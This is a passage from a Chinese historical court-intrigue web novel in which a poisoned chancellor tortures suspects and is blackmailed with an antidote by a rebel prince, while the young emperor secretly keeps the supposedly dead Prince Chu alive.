他双目圆睁,难以置信地盯着地上抖成一团的人影。 “死了?!怎么可能!本相离开云州时,他虽病弱,尚有一口气在!这才几日?楚王再不济身边也有那些名医,他们都是吃干饭的废物吗?!” 护卫统领抖得更厉害:“卑职……卑职不知!只是……只是昨日韩王殿下亲往楚王府探望后不久,府内便传出悲声,随后便……便宣告薨逝了!名医们……束手无策……” “韩王?!”徐敬意瞳孔骤缩。 “是他!定是这狼子野心的畜生!假借探望之名,行了弑兄之事!好!好一个韩王!本相……” 他怒斥的话语还未出口,另一名心腹已连滚带爬地冲到近前。 “报——!!!相爷!大事不好!韩……韩王反了!竖起反旗,正点齐兵马,杀奔过来了!” 徐敬意只觉得一股逆血直冲顶门,眼前骤然发黑,喉头腥甜,身形剧烈一晃,险些栽下车去。 他死死抓住车辕,手背青筋暴起,脸色由铁青转为骇人的酱紫。 “反……反了?!他凭什么反?!他敢反?!” 心腹吓得魂飞魄散,伏地不敢抬头:“韩……韩王打着‘清君侧、诛国贼、为兄复仇’的旗号!楚王薨逝的消息已传遍云州!都说……都说楚王是被……是被相爷您……” 他艰难地吞咽了一下。 “……是被相爷您逼死的!是被相爷您……下毒害死的!韩王以血亲身份,起兵讨伐,名正言顺啊!” “混账!无耻之尤!!”徐敬意再也压不住翻腾的气血。 他身体剧烈摇晃,全靠一股暴怒强撑着才没有倒下,当下只觉得天旋地转,耳边嗡嗡作响。 逼死? 下毒? 韩王!你好毒的心肠!好狠的手段! 竟将这泼天的脏水,兜头泼在本相身上! 这不仅是造反,这是要将他徐敬意钉死在乱臣贼子的耻辱柱上,永世不得翻身! “相爷!相爷息怒!保重身体啊!”一直紧随在侧的幕僚见状,吓得魂飞魄散,慌忙上前搀扶。 触手之处,只觉徐敬意身体滚烫,气息紊乱急促得吓人。 幕僚心头警铃大作,急声高呼:“快!快传随行大夫!快!” 几名亲兵手忙脚乱地将几乎站立不稳的徐敬意半扶半抱地抬下马车,安置在临时支起的帅帐内。 随行的老大夫被连拖带拽地扯了进来,看到徐敬意面如金纸,气息奄奄的模样,吓得腿都软了。 “快……快给相爷诊脉!”幕僚声音都在发颤。 老大夫哆嗦着手搭上徐敬意的腕脉。 甫一接触,他的脸色就变了。 他凝神屏息,手指反复挪移,眉头越皱越紧,额角的冷汗涔涔而下。 良久,他收回手,扑通一声跪倒在地。 “相……相爷……这……这脉象凶险啊!相爷体内……体内是有一股极其阴损的慢性毒质盘踞!已然侵入脏腑,伤及根本!方才急怒攻心,引动毒发,才致呕血昏厥啊!” “毒?!” 帐内所有人,包括勉强撑着一口气的徐敬意,都如遭雷击。 “你说什么?!”徐敬意猛地睁开眼,凶光毕露,死死盯住跪地的大夫。 “毒?!本相……本相中了毒?!” 他下意识地抬手看着自己的手掌,仿佛那上面已经沾满了无形的剧毒。 身边有内鬼! “是……是慢性毒药……相爷……此毒……此毒极为隐蔽……若非此番急怒引动……恐怕……恐怕……”老大夫吓得语无伦次。 “是谁?!!”徐敬意猛地一掌拍在身下的软榻上。 他挣扎着想要坐起,却被剧烈的眩晕和胸口的闷痛逼了回去。 “是谁敢对本相下此毒手?!!” 保皇党?! 徐敬意的脑海中瞬间闪过这个念头。 只有他们了! 莫非他们表面上归顺,骨子里却依旧忠于郑遂? 莫非他们一直蛰伏着,等待时机,终于在他离开中枢,亲临荆州这个节骨眼上,向他伸出了毒手?! 好!好得很! “来人!!”徐敬意怒吼一声,“把那些投诚的保皇党……给本相一个不剩地抓来!捆结实了!拖到这里来!本相要亲自审问!” 帅帐瞬间变成了血腥的刑堂。 十几个被剥去官服、捆得如同粽子般的保皇党官员被粗暴地推搡进来,按着跪倒一片。 “说!!”徐敬意在幕僚的搀扶下勉强坐直身体。 “是谁指使你们对本相下的毒?!是郑遂那小崽子?还是你们哪个吃了熊心豹子胆?!” “相爷明鉴!冤枉啊!!”为首的官员额头重重磕在地上。 “我等既已投诚,身家性命皆系于相爷一念之间,岂敢行此大逆不道、自取灭亡之事?!相爷!这定是有人栽赃陷害,欲离间相爷与我等啊!” “栽赃?陷害?”徐敬意嘴角扯出一个狰狞扭曲的笑。 “死到临头还敢狡辩?!给本相打!打到他们肯说为止!!” 皮鞭带着风声狠狠抽下,蘸了盐水的鞭子落在皮肉上,发出令人牙酸的噼啪声。 紧接着是烧得通红的烙铁,夹棍、拶指…… 种种酷刑轮番上阵。 徐敬意就坐在那里,眼神冰冷地看着,任由惨嚎和血腥味刺激着他因中毒而愈发昏沉的神经。 他要看着这些骨头被一寸寸敲碎,看着他们吐出幕后主使的名字! 然而一个时辰过去,刑具染血,地上已是一片狼藉污秽,哀嚎声都变得微弱断续,却无一人松口。 有人昏死过去被冷水泼醒,有人咬碎了牙混着血吞下,可眼神里除了痛苦,竟无一丝心虚。 “相爷……我等……实不知毒从何来……更……更未曾下毒……求相爷……明察……” 一个被拶得手指变形,血肉模糊的官员气若游丝地申辩。 徐敬意的脸色越来越难看。 不是他们?难道…… 一个更令他毛骨悚然的念头乍然在脑海中浮现。 第59章 韩王前来邀约会晤 不是他们,难道是自己人? 这个认知更是让他瞬间从头凉到脚。 他身边,这看似铁板一块的圈子里,竟也藏着致命的毒牙?! 是谁?!他的心腹将领?幕僚?还是…… 他不敢再想下去。 “相爷!”一直忧心忡忡的幕僚再也忍不住,趁着行刑间隙,凑到徐敬意耳边。 “韩王叛军来势汹汹,前锋距此已不足两日路程!此地非久留之地!彻查内鬼固然紧要,然眼下大敌当前,若在此耗费过多时日精力,恐延误军机,被韩王所趁啊!请相爷以大局为重!” 大局…… 徐敬意死死咬住牙关,牙龈几乎渗出血来。 他胸中翻腾着滔天的怒火和不甘。 他受不了背叛,就像他容不下徐妙晴和徐敬若一样! 任何敢于背叛他的人,都必须付出最惨痛的代价! 可是……幕僚说得对。 韩王的大军才是悬在头顶的利剑,若因追查内鬼而耽误了战机,甚至被韩王合围于此,那才是真正的灭顶之灾。 徐敬意长长地吐出一口气,眼神阴鸷地在那些半死不活的保皇党官员,和自己几个心腹将领、幕僚脸上扫过。 最终,阴测测的开了口。 “停手!” 行刑的士兵立刻收手。 “把他们……还有那几个……” 徐敬意抬手指了指几个他心中疑云最重的、负责他饮食起居和安全警戒的心腹。 “统统给本相押下去!严加看管!留王参将在此!” 之后又点了一个跟随他多年,向来以狠辣著称的心腹将领。 “给本相细细地盘!用尽一切手段!务必要撬开他们的嘴!本相要知道,到底是谁!敢在本相身边下毒!查不出结果,提头来见!” “末将遵命!”王参将抱拳领命。 “其余人等!”徐敬意强撑着站起身。 “立刻拔营!全速向云州进发!沿途收拢所有能调动的兵马!本相要在云州城下,亲手碾碎韩王这个跳梁小丑!” 为了自己的性命,他必须尽快解决韩王这个祸患,才能腾出手来,揪出那个潜藏的内鬼! 他带着那老大夫上了自己的车驾,一路随行。 “给本相医!若本相有半点差池,你九族陪葬!” 老大夫面无人色,连连磕头。 “老朽……老朽定当竭尽全力!定当竭尽全力!” 三日疾行,风尘仆仆。徐敬意的大军终于抵达云州外围。 远远望去,地平线上已能看到韩王叛军扎下的连绵营寨,旗帜鲜明,刀枪林立。 探马如流水般来回穿梭。 很快,最新的情报呈到了徐敬意面前。 “禀相爷!韩王叛军总数约在两万上下,多为步卒,骑兵不足五千。其装备与我军相比,略显陈旧。另,云州城四门紧闭,守军并未出城与叛军汇合,似有观望之意。” “哼!”徐敬意不屑的冷哼一声, 虽然脸色依旧苍白,但听闻韩王兵力不足,装备落后,且云州守军态度暧昧,心中那积压的怒火总算找到了一丝发泄口。 “区区两万乌合之众,也敢螳臂当车?韩王小儿,当真不知死活!本相今日,便要让他知道,什么叫自取灭亡!” 此刻徐敬意心中的杀意沸腾到了顶点。 韩王此人,反复无常,桀骜不驯,如今更敢弑兄嫁祸,悍然造反! 这样的人,即便能拉拢过来,也必是心腹大患! 那么留之何用? 不如借此良机,彻底铲除! 便正好用他的人头,来震慑那些心怀叵测的藩王! 徐敬意眼中寒光一闪,正待下令全军压上,给韩王一记雷霆一击。 可忽然,一名传令兵飞奔而至,在车驾外单膝跪地。 “启禀相爷!韩王派来使者!言道欲请相爷于两军阵前,当面一晤!” “会晤?”徐敬意眉头猛地一拧,眼中闪过一丝惊疑。 阵前会面? 这韩王葫芦里卖的什么药? 求和?不可能! 示弱?更不像他那嚣张跋扈的性子! 莫非……有诈? “相爷!此乃鸿门宴!万万不可轻信!”幕僚立刻出言劝阻。 “韩王狡诈多端,此时邀约,必定没安好心!恐是想引相爷入彀,行那擒贼擒王之事!相爷万金之躯,岂可涉险?” 徐敬意沉默着。 幕僚的担忧不无道理,他此刻身中奇毒,身体虚弱,正是最脆弱的时候。 若韩王真设下埋伏…… 但他转念一想,自己身边护卫皆是百里挑一的精锐,更有数万大军在侧。 韩王那点兵力,正面决战都非己方敌手,若敢在阵前对自己动手,无异于自寻死路。 他韩王再狂妄,也不至于如此愚蠢! 况且……徐敬意心中那股被韩王算计、被内鬼背叛的滔天怒火仍熊熊燃烧。 若连韩王的面都不敢见,岂不是显得他徐敬意怕了? 岂不是让天下人耻笑? 然而他徐敬意纵横天下,何曾畏惧过任何人?! “去!” 徐敬意冷哼一声,大手一挥。 “本相倒要看看,他韩王敢耍什么花样!传令!答应他!时间、地点,由本相来定!就在明日巳时,于两军阵前开阔处!本相亲率三千铁甲亲卫前往!他韩王若有胆,也带三千人来!本相倒要看看,是他韩王的骨头硬,还是本相的刀快!” 幕僚还想再劝,但看到徐敬意眼中茉决绝,只得将话咽了回去。 翌日,巳时。 晴空之下,两军对垒,肃杀之气弥漫四野。 在两军之间特意留出的一片开阔空地上,已各自竖起了巨大的华盖。 徐敬意的车驾在三千铁甲亲卫的拱卫下,如同移动的钢铁堡垒,缓缓驶至。 他强撑着身体,披挂整齐,在亲兵的搀扶下步下车驾,端坐于早已设好的主位之上,面色冷峻,目光如鹰隼般扫向对面。 韩王的仪仗也到了。 同样三千精锐护卫,簇拥着一身戎装、面带几分玩世不恭笑容的韩王。 他策马而来,到了近前才翻身下马。 对着徐敬意随意地拱了拱手:“徐相,久违了!别来无恙乎?” 徐敬意心中杀机涌动,面上却只是冷淡地抬了抬手:“韩王殿下,阵前相邀,不知有何见教?” 第60章 不如谈一笔交易 韩王哈哈一笑,自顾自地在徐敬意对面坐下,挥手道:“见教不敢当!只是大战在即,生灵涂炭,本王心有不忍。徐相乃国之柱石,何苦为那昏聩小皇帝卖命?不如你我坐下,喝杯水酒,好好谈谈,看看能否化干戈为玉帛?若能免去一场刀兵,也是功德无量啊!来人,上酒!” 徐敬意眼神冰冷地看着韩王的手下摆上酒菜。 他心中警惕万分,但韩王摆出这副“谈判”的姿态,他也不能失了身份。 伸手不打笑脸人? 徐敬意心中冷笑。 且看你能谈出什么花来! 谈完了,再杀也不迟! 他微微颔首,示意亲兵上前验酒验菜。 酒过三巡,气氛却愈发诡异。 双方都绝口不提实质问题,只是互相试探,虚与委蛇。 徐敬意的耐心在迅速耗尽,他几次将话题引向韩王弑兄、造反的罪责,以及迫其投降的条件上。 然而韩王要么顾左右而言他,要么便是语带讥讽。 “徐相此言差矣!我王兄之死,天下自有公论!倒是徐相您……” 韩王放下酒杯,似笑非笑地打量着徐敬意。 “您气色似乎不太好啊?可是操劳过度?还是……水土不服?这荆州、云州地界,蛇虫鼠蚁可是不少,别是……着了什么道吧?” 徐敬意心头猛地一跳,一股怒火直冲顶门。 这韩王,话中有话! 他强压着翻腾的气血,声音越发冰冷。 “本相身体如何,不劳韩王费心!倒是韩王殿下,弑兄谋逆,罪不容诛!若肯悬崖勒马,自缚请罪,本相看在宗室血脉份上,或可向陛下求情,留你全尸!否则……” “否则如何?”韩王脸上的笑容骤然收敛,眼中闪过一丝厉色。 “徐敬意!你少在本王面前摆谱!你当我真不知你打的什么主意?挟天子以令诸侯?下一步就是黄袍加身了吧?!本王起兵,是为皇兄讨个公道!更是为大齐江山除你这祸国巨奸!” “放肆!”徐敬意再也按捺不住,猛地一拍桌案。 他眼中杀机毕露,厉声喝道:“韩王!你找死!!” 左手在桌下对着身后的亲卫统领做了一个极其隐蔽的斩杀手势。 亲卫统领眼神一厉,手已按上刀柄! 可就在徐敬意的亲卫统领即将拔刀发难的瞬间,韩王却突然动了! 他并非拔剑,而是猛地抓起面前盛满酒液的玉杯,狠狠地掼在地上! “啪嚓——!” 清脆刺耳的碎裂声,如同惊雷般在肃杀的空气中炸响。 “护驾!!” 徐敬意身后的亲卫统领几乎是本能地厉声嘶吼,呛啷啷一片刺耳的拔刀声响起,数百名精锐亲卫如同出闸猛虎,瞬间抢步上前,将徐敬意严严实实护在中心,雪亮的刀锋齐齐指向韩王。 一股凌厉的杀气冲天而起! 对面的韩王亲兵反应同样迅捷,刀盾齐举,护住韩王,双方剑拔弩张。 氛围极其压抑,处处充斥着火药味儿。 仿佛只需一个火星,立刻便是血肉横飞的惨烈厮杀! 然而预想中的伏兵四起并未出现。 韩王依旧好整以暇地坐在原位,甚至饶有兴致的抬手掸了掸溅到袍袖上的几点酒渍,随即脸上挂上一抹戏谑茉笑容,看着被重重护卫、面色铁青的徐敬意。 “徐相何必如此紧张?”韩王慵懒道。 “摔个杯子而已,本王手滑了。怎么?徐相以为本王是摔杯为号,要取你性命?” 他嗤笑一声,摇了摇头。 眼神却陡然变得锐利如针,直刺徐敬意。 “本王若要动手,何须如此麻烦?徐相啊徐相,你与其担心本王的刀,不如……好好担心担心你自己吧!” 他身体微微前倾,声音压得极低。 “徐相,这些日子……身体可还好?那‘蚀魂散’的滋味……可还受用?” 蚀魂散?! 徐敬意如遭五雷轰顶,浑身剧震。 他脑中一片空白,随即是滔天的狂怒! 原来是他!真的是他! 韩王这条毒蛇,不仅弑兄嫁祸,竟还早早将毒手伸向了自己! “是你!韩王!你这卑鄙无耻的畜生!竟敢对本相下毒!!”徐敬意再也顾不得什么身份威仪,指着韩王嘶声咆哮。 “给本相杀了他!杀了他!!!” “杀!”亲卫统领得令,眼中凶光爆射,手中长刀猛地向前一挥。 周围的亲卫齐声怒吼,如同汹涌的怒涛,便要向韩王扑去。 “保护王爷!!”韩王身边的护卫将领同样厉喝,盾牌瞬间结阵,长矛如林般挺出。 双方最精锐的力量狠狠地撞在了一起。 “铛!铛铛铛!” 金铁交鸣之声爆豆般响起,火星四溅。 然而甫一交手,双方将领的心都沉了下去。 徐敬意的亲卫是百里挑一的死士,悍不畏死,招招夺命。 而韩王的护卫更是同样训练有素,配合默契,防守得滴水不漏。 双方都是精锐中的精锐,甫一接触,便知对方绝非易与之辈。 这哪里是突袭刺杀?分明是两群猛虎在死斗! 若真拼下去,绝对是两败俱伤,玉石俱焚! 徐敬意的亲卫统领一刀劈开刺来的长矛,眼角余光瞥见自己这边已有数人倒下,而对面的阵型依旧稳固,心头一凛。 他猛地格开一柄斩来的腰刀,抽身后退半步。 厉声吼道:“结阵!保护相爷!” 韩王那边的将领也同时高呼:“盾阵!护住王爷!后退!” 厮杀在一起的双方精锐,在各自将领的约束下如同潮水般猛地分开,各自后退数步。 徐敬意被亲卫死死护在核心,看着眼前这瞬间爆发又骤然停止的惨烈搏杀,看着己方倒下的精锐,只觉得胸口剧痛更甚,眼前阵阵发黑,喉咙里腥甜翻涌,几乎又要呕出血来。 他带来的都是最忠诚、最勇猛的亲卫,死一个少一个! 而韩王…… 韩王却依旧毫发无损地坐在那里,脸上甚至还带着那令人恨之入骨的嘲弄笑容。 “徐相,何必呢?”韩王的声音再次响起。 “你看,打打杀杀,多伤和气?白白折损了这么多好儿郎的性命。你我都是聪明人,不如……坐下来,心平气和地……谈一笔交易?一笔,关乎你性命,也关乎这天下归属的交易。” 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第61章 本王算的清这笔账 徐敬意死死地盯着韩王,牙齿咬得咯咯作响,眼中燃烧着噬人的怒火。 他身边的亲卫统领也投来询问的目光,显然也意识到了强行动手的巨大风险。 那老大夫此刻也挤到了徐敬意身边,压低声音劝阻。 “相爷!相爷息怒啊!万不可再动肝火!您体内的毒……那蚀魂散之名,老朽……老朽也只是在古籍残篇中见过只言片语!此毒阴损至极,一旦深入脏腑,若无独门解药,神仙难救!相爷……相爷三思啊!” 神仙难救! 徐敬意身体晃了晃,强行压下喉头的腥甜。 是啊,虽是慢毒!可也大概率是致命的毒! 而解药很可能就在韩王手中! 为了自己的命……也得忍啊…… 徐敬意只觉屈辱屈辱。 他从出生到现在,何曾如此过?! 可奈何那该死的韩王早就拿捏住了他的七寸! 良久,徐敬意终于抬起手,极其艰难地对着前方对峙的护卫们挥了挥。 “退……下……” 护卫们缓缓收刀,警惕地后退,重新列于徐敬意身后。 韩王见状,脸上的笑容更深了,也挥了挥手。 他的护卫也收起了兵刃,阵型稍松。 “徐相果然识时务。”韩王重新坐正,好整以暇地为自己又斟了一杯酒。 “那么,我们可以好好谈谈了?” 徐敬意强忍着撕碎对方的冲动,从牙缝中挤出几个字:“说!你要什么?!” 韩王慢悠悠地抿了一口酒,目光扫过远处严阵以待的两方大军,最终落回徐敬意那张因愤怒而扭曲的脸上。 缓缓开口,却语惊四座。 “徐相想坐上那九五至尊之位,本王……可以帮你!” 徐敬意瞳孔一缩,几乎以为自己听错了。 韩王却自顾自地说了下去。 “甚至,本王可以倾尽全力,助你扫平障碍,登临大宝!秦王已沦为逆贼之首,而楚王已死,本王便是宗室之首!只要你徐敬意点头,本王可号令宗室,为你加冕!这不比你费尽心机,挨个儿的去找我们这些藩王,或动手,或安抚来的快得多?” “条件呢?”徐敬意声音更冷。 他绝不信韩王会如此好心! “条件很简单。”韩王放下酒杯,身体微微前倾。 “本王,要在我的封地,建立一个全新的国度!一个完全独立于你大齐之外的王国!本王称帝!你徐敬意做你的大齐皇帝,我做我的大韩皇帝!你我……划江而治,永为兄弟之国!” “你说什么?!!”徐敬意猛地站起。 因动作过猛,眼前一阵发黑,但他已顾不上了。 指着韩王,手指因极度的暴怒而剧烈颤抖着。 声音陡然拔高,尖锐得几乎破了音:“裂土封疆?!自立称帝?!韩王!你疯了不成?!这大齐江山,乃太祖皇帝一刀一枪打下来的!一寸山河一寸血!岂容你分割?!你想做皇帝?做你的春秋大梦!!” “呵!”韩王也站了起来,毫不示弱地迎上徐敬意几乎要喷火的目光。 脸上那玩世不恭的笑容彻底消失,只剩下赤裸裸的野心。 “徐敬意!你少在本王面前装什么忠臣良相!你心里那点龌龊心思,谁人不知?!你能篡,本王为何不能立?!这天下,本就是有德者居之!有能者取之!你徐敬意做得,我韩王就做不得?!本王就是要裂土称帝!你答应,你我皆大欢喜!你不答应……” 韩王眼神陡然变得无比阴狠。 “那你就等着蚀魂散一点点啃光你的骨头!等着本王的大军,踏平你的营寨!让你徐敬意……死无葬身之地!!” “你……你……畜生!逆贼!!” 徐敬意气得浑身发抖,眼前阵阵发黑,胸中气血翻涌,再也压制不住。 “噗——!” 一大口黑紫色的毒血猛地喷溅而出,整个人如同被抽掉了骨头般,向后软倒。 “相爷!!”亲卫统领和幕僚惊恐万状地扑上去扶住。 他瘫软在亲卫统领怀中,面色灰败如死人,嘴角残留着刺目的黑紫色血迹,每一次吸气都伴随着胸腔深处撕裂般的剧痛,仿佛真有无数细小的毒虫在啃噬他的骨髓。 韩王居高临下地看着这一幕,眼中没有丝毫怜悯,只有掌控一切的从容。 “徐相,何必如此激动?”韩王的声音带着一丝虚伪的关切,却更像是在欣赏猎物最后的挣扎。 “你看,气大伤身,何况你还身中奇毒。再这般动怒,怕是等不到本王的大军踏营,你自己就先撑不住了。” 徐敬意双目赤红,死死瞪着韩王,喉咙里发出嗬嗬的声响,却因剧痛和毒血翻涌,一时根本说不出完整的话来。 亲卫统领和幕僚焦急万分,老大夫更是满头大汗,拼命按压徐敬意的穴位,试图稳住他体内狂暴的毒性。 可是不行…… 毒性太烈,又不知道徐敬意是何时中的招。 徐敬意还如此被韩王刺激。 重重刺激下,没有解药,怕是华佗在世也无力回天。 韩王终于有了动作。 他放下酒杯,从怀中不紧不慢地取出一个小巧玲珑的玉瓶。 瓶身通体翠绿,瓶塞还极其奢华的用了一块温润的黑玉,一看便知宝贵。 所有人的目光都瞬间被这个瓶子吸引,徐敬意更是瞳孔骤缩,死死盯着那瓶子。 “比物……”韩王将玉瓶在指尖把玩,徐徐开口。 “便是蚀魂散的解药。” 他刻意在“解药”二字上加重了语气。 “你……休想……拿毒药……诓骗……本相!”徐敬意用尽力气,从齿缝中挤出破碎的嘶吼。 “诓骗?”韩王嗤笑一声,眼神陡然变冷。 “徐敬意,都到了这般田地,你以为本王还有必要骗你吗?你这条命,对本王而言,价值在于你还能调动的几十万大军,在于你大齐丞相这块招牌!你死了,对本王固然是少了个心腹大患,但也意味着本王要付出更大的代价去啃你留下的硬骨头。这笔账,本王算得清楚!” 韩王顿了顿,声音压低。 第62章 这条命要不要全在你 “此毒之所以名为蚀魂,就是其性阴毒绵长,深入骨髓脏腑。若无独门解药,神仙难救。你中的毒,剂量不小,时日也不算短了。凭你现在的身体……啧啧,本王敢断言,若无解药,你最多再撑三五日。到时,蚀魂之痛爆发,你会眼睁睁看着自己的血肉精气一点点枯竭、溃烂,在极致的痛苦和绝望中……化为一滩脓血!连骨头渣子都剩不下!” 帅帐内的温度似乎因为韩王的话而骤降了不少,就连那些悍勇的亲卫都不禁感到了一阵寒意。 “相爷……相爷!”老大夫再也忍不住,扑通一声跪倒在徐敬意身边。 “韩王……韩王所言……恐非虚言啊!老朽无能,此毒恐怕确如韩王所说,歹毒至极!若无……若无对症之药……老朽……老朽回天乏术啊!相爷!三思!千万三思啊!” 徐敬意的身体剧烈地颤抖起来,不是因为愤怒,而是源于灵魂深处的恐惧和对死亡的无力感。 有一瞬间,他甚至能清晰地感受到那股阴寒的毒性正在体内蔓延、肆虐,每一次心跳都伴随着钻心的痛楚,仿佛在极力印证着韩王和老大夫的话。 他纵横半生,权倾朝野,何曾想过会落得如此境地? 他竟会被一个自己视为跳梁小丑的藩王捏住命脉,像条待宰的鱼一样躺在砧板上! “一……一瓶……不够!”徐敬意从喉咙深处挤出几个字。 “当然不够。”韩王似乎早就料到,脸上露出一丝满意的笑容。 “蚀魂散的解药,需分三次服用,方能彻底根除毒性,固本培元。这第一瓶……” 韩王得意的晃了晃手中的翠绿玉瓶,微微一笑。 “可缓解你此刻的痛苦,暂时压制毒性蔓延,让你能像个正常人一样,活下去,发号施令。至于剩下的两瓶……” 韩王故意拖长了语调,欣赏着徐敬意眼中那交织着渴望、憎恨与不得不低头的复杂光芒。 “等你履行了承诺,撤出藩王领地,并昭告天下,承认本王的大韩帝国,与我划江而治,永为兄弟之邦时,第二瓶解药自会奉上。至于最后一瓶。” 韩王的眼神陡然变得深不见底。 “待本王登基大典完成,江山稳固之后,它自然会送到你的手中,助你彻底摆脱这蚀魂之苦,安安稳稳地,做你的大齐皇帝。” “你……好……狠毒!”徐敬意咬牙切齿。 这条件,简直是把他架在火上烤。 不仅要他亲手割裂即将唾手可得的江山,还要让他成为韩王篡逆的背书人! 但更可怕的是,经此一遭,他的命脉将长期被韩王捏在手里,只怕第三瓶解药根本遥遥无期! “狠毒?”韩王冷笑。 “成大事者不拘小节!徐相,你我都不是第一天在这权力的泥潭里打滚。无毒不丈夫!这是你活下去,并且继续掌控大齐的唯一机会!是选择忍一时之辱,换取性命、皇位和半壁江山?还是选择现在就毒发身亡,让你的敌人拍手称快,让你的基业土崩瓦解,让你的家族……灰飞烟灭?” 徐敬意顿时生出一种心灰意冷的无力感来。 他不怕死,但他怕自己苦心经营一生的局面顷刻崩塌! 那他所做的一切算什么?他的努力又算什么! 帐内再次陷入死一般的寂静,只能听到徐敬意越来越粗重的喘息。 亲卫统领握刀的手自然青筋暴起,却不敢妄动。 幕僚们则是面色惨白,嘴唇翕动,最终也只是无声地垂首。 每一息都漫长如年。 徐敬意挣扎了许久。 最终,对死亡的恐惧和对权力的不甘终于彻底压倒了那点残存的气节。 那曾经支撑他权倾天下的脊梁,在剧毒和胁迫之下,终究弯折了。 他闭上眼,仿佛用尽了毕生的力气,才从干裂的嘴唇中,挤出两个嘶哑的字。 “拿……来……” 说完,他便彻底瘫软下去。 韩王脸上的笑容瞬间绽放 他知道,他赢了!彻底地赢了! 他亲手将大齐的丞相、未来的皇帝,变成了自己棋盘上的一颗棋子。 “好!徐相果然是识时务的俊杰!”韩王朗声大笑? 他不再犹豫,手指一弹,那翠绿的玉瓶划过一道弧线,精准地落向徐敬意身边的老大夫。 “接着!这是第一瓶解药!立刻给徐相服下!记住我们的约定!”韩王站起身,掸了掸衣袍? “徐相,好好养病,也尽快履行你的承诺。本王的耐心也是有限的,告辞!” 韩王不再看帐内一片狼藉,带着一副志得意满的姿态,在亲卫的簇拥下大步流星地走出了帅帐。 —— 京城,西郊农庄。 郑遂屏退左右,独自一人沿着狭窄陡峭的石阶向下走去。 密道尽头,是一间经过精心改造的暗室。 门口把守着两名身着便服的禁军,见到郑遂,二人无声地躬身行礼,让开了道路。 室内药味极其浓烈刺鼻,木床上,正躺着外界传言已死于徐敬意毒手的楚王。 楚王虽然病弱,但长期养着,还尚算清贵。 可经历了这一番折腾,他已经瘦得脱了形,颧骨高高凸起,脸色更是是一种渗人的蜡黄中泛着青灰。 此刻楚王胸膛的起伏弧度已经微弱到几乎看不见了,只有偶尔因痛苦而微微颤动的睫毛在证明他还活着。 一位面容愁苦的老太医正坐在床边矮凳上,小心翼翼地用银针为楚王施针。 听到脚步声,太医抬起头,见到是郑遂,连忙放下银针,颤巍巍地站起身欲行礼。 “老臣见过陛下。” “免礼。”郑遂他快步走到床边,目光飞速扫过楚王衰败不堪的面容,眉头深深锁起。 “情况如何?” 老太医重重叹了口气,脸上写满了愁苦。 “王爷他……油尽灯枯,恐怕……恐怕回天乏术了啊!” 郑遂眼神一凝,追问:“根源何在?天生体弱,徐敬意的惊吓,还是……韩王的手脚?” 太医凑近一步,声音压得更低:“郑大人明鉴!王爷天生不足,心脉孱弱,这本就是沉疴痼疾,需常年温养。那日徐相……徐敬意在云州一通撒泼,言语间更是毫不掩饰杀意!王爷本就惊惧交加,经此一事更是直接病倒,此乃急怒攻心,心脉受创,已是雪上加霜!” 第63章 务必尽全力保住性命 郑遂沉默了。 千防万防,家贼难防。 自己不过稍不留神,竟就被韩王钻了空子! “你有几分把握?”郑遂问道。 太医扑通一声跪倒,额头重重磕在冰冷坚硬的石板地上。 “陛下!老臣……老臣实在不敢妄言!如今全靠老朽几根银针和虎狼之药吊着一口气息,拼尽一身所学,或能在最凶险时分吊住三五日性命,但……但想要痊愈之望,也得看这几日了!五成……已是老朽斗胆妄言!” 浓烈的药味混着石壁的湿冷潮气,熏的呛人。 郑遂盯着床上楚王那张枯槁灰败的脸,目光许久才缓缓从楚王脸上移开。 “五成?好!朕要的,就是这五成!尽你所能,用最好的药,行最险的针!只要还有半分希望,就要尽十分努力。若有半分懈怠……” 他顿了顿,眼神扫过太医苍老的脖颈。 “楚王若薨,朕便让你阖族上下,亲尝这油尽灯枯的滋味!听明白了?” 太医浑身剧震,伏在地上的身体瑟瑟发抖,额头死死抵着地面。 “老臣……老臣遵旨!肝脑涂地,绝不敢有半分懈怠!” 郑遂不再多言,最后瞥了一眼那盏在楚王鼻息下摇曳欲熄的油灯火苗,猛地转身。 玄色披风在潮湿的空气中划出一道冷硬的弧线,大步流星踏出。 乾清宫的龙涎香也压不住那股山雨欲来的躁动。 郑遂刚换上常服坐下,甚至来不及啜一口温热的参茶,殿门便被急促地叩响。 “陛下!陛下!紧急军情!”王喜几乎是跌撞着冲了进来,后面跟着同样脸色煞白的徐敬意一党官员。 两人官帽歪斜,额角全是细密的汗珠,呼吸粗重,显是一路疾跑而来。 “慌什么?”郑遂慢条斯理地放下茶盏,指尖在光滑的瓷壁上轻轻摩挲,抬起一张写满少年人特有的茫然与无措的脸。 “天塌下来了不成?” 王喜噗通跪倒:“陛下!祸事!天大的祸事!韩王……韩王反了!檄文已传遍天下!他……他污蔑徐相谋害楚王,挟持天子,祸乱朝纲!以清君侧,诛国贼为名,在云州悍然举兵!” “什么?!” 郑遂故作惊讶的猛地站起身,脸上瞬间褪尽血色。 他嘴唇哆嗦着,眼中迅速蓄满了惊惶无措的水光。 随后身体晃了晃,几乎站立不稳。 “韩……韩王?他……他怎么会?他怎么能反?徐相……徐相不是在云州吗?他……他难道不管?” 徐敬意党的那个大臣也跪倒在地,急忙补充:“陛下!徐相自然在竭力平叛!只是韩逆蓄谋已久,猝然发难,且……且裹挟楚王之事大做文章,蛊惑人心!眼下叛军声势不小,军情如火啊陛下!” 他看着皇帝那副六神无主的样子,心中焦急更甚,却也莫名地松了口气。 还好,这小皇帝还是这般懦弱无能,即便展示了修改军械的才干,但遇事还是只知道惊慌失措。 如此,朝政大权,终究还是牢牢握在徐相和他们这些心腹手中。 郑遂顿时像是被抽掉了骨头,失魂落魄地跌坐回宽大的龙椅上。 他茫然四顾,眼神空洞地扫过殿内侍立的几个内侍,最后落在跪着的大臣身上。 “那……那怎么办?朕……朕才多大?哪里懂得这些打打杀杀的事情?韩王……徐相……唉!” 郑遂重重叹了口气,肩膀耷拉下来。 “你们……你们都是国之柱石,是徐相倚重之人……你们……你们商议着办吧!该怎么办就怎么办!朕……朕都听你们的!只要……只要能平了这乱子就好……” 郑遂垂下头,几缕散落的额发遮住了眼睛,只露出一个写满无助的侧脸。 下首之人瞬间松了口气。 果然还是那个扶不起的阿斗! 徐相虽远在云州,且危机重重,但京城的天,依旧是他们徐党的天! “陛下圣明!”他叩首,语气明显从容了许多。 “陛下信任,臣等敢不竭尽驽钝!请陛下宽心,徐相定能力挽狂澜!臣等即刻去办,定不让逆贼猖狂!” “去吧……去吧……快去吧!”郑遂无力地挥挥手,“朕得静一静,朕……朕心乱得很……” 